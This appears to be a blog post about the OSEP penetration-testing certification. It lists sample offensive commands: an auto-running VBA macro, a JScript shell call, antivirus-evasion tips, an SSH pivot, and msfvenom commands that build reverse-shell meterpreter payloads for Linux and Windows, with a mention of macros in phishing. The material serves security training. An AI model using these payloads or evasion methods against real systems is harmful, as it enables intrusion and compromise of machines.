The Offensive Security Experienced Professional (OSEP) certification is a prestigious credential for cybersecurity professionals, focusing on advanced penetration testing and offensive security techniques. The certification exam, which spans 48 hours, tests candidates on various skills, including code execution via VBA macros, Jscript, antivirus evasion, pivoting, and exploitation on both Linux and Windows systems.
Practice-Verified Commands and Codes:
1. VBA Macro Execution:
[vba]
Sub AutoOpen()
Dim payload As String
payload = “calc.exe” ‘ Replace with actual payload
Shell payload, vbHide
End Sub
[/vba]
2. Jscript Code Execution:
[javascript]
var shell = new ActiveXObject(“WScript.Shell”);
shell.run(“calc.exe”); // Replace with actual payload
[/javascript]
3. Antivirus Evasion Techniques:
- Obfuscation: Use tools like `obfuscator-io` to obfuscate your code.
- Packing: Use packers like UPX to compress and obfuscate executables.
- Encoding: Use Base64 or other encoding techniques to hide payloads.
4. Pivoting with SSH:
ssh -D 1080 user@target
This command sets up a dynamic port forwarding tunnel, allowing you to route traffic through the target machine.
5. Linux Exploitation:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f elf > shell.elf
This command generates a reverse TCP meterpreter payload for Linux.
6. Windows Exploitation:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f exe > shell.exe
This command generates a reverse TCP meterpreter payload for Windows.
What Undercode Say:
The OSEP certification is a rigorous test of one’s ability to perform advanced offensive security operations. It requires a deep understanding of various techniques, including code execution, antivirus evasion, and system exploitation. The certification not only validates your skills but also prepares you for real-world scenarios where you might need to bypass security measures and exploit vulnerabilities.
In the realm of cybersecurity, mastering these techniques is crucial. For instance, understanding how to execute code via VBA macros or Jscript can be pivotal in phishing campaigns. Similarly, knowing how to evade antivirus software can mean the difference between a successful penetration test and a failed one.
Pivoting is another critical skill. By using tools like SSH, you can move laterally across a network, gaining access to more systems and data. This is especially important in large networks where multiple layers of security are in place.
Exploitation on both Linux and Windows systems is also a key component of the OSEP certification. Tools like `msfvenom` allow you to create payloads that can be used to gain control over a target system. Whether you’re dealing with a Linux server or a Windows workstation, having the ability to generate and deploy these payloads is essential.
In conclusion, the OSEP certification is not just a test of knowledge but a testament to one’s ability to apply that knowledge in practical, real-world scenarios. It requires a combination of technical skills, creativity, and persistence. For those looking to advance their careers in cybersecurity, achieving the OSEP certification is a significant milestone.
